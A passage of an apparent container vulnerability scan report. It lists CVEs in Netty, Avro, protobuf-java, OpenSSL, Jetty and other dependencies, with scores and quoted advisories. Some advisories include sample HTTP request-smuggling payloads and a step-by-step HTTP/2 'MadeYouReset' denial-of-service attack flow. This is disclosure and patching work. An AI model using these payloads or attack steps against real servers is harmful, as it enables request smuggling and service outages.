CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+critical : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
+ +
Description +
+ + + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
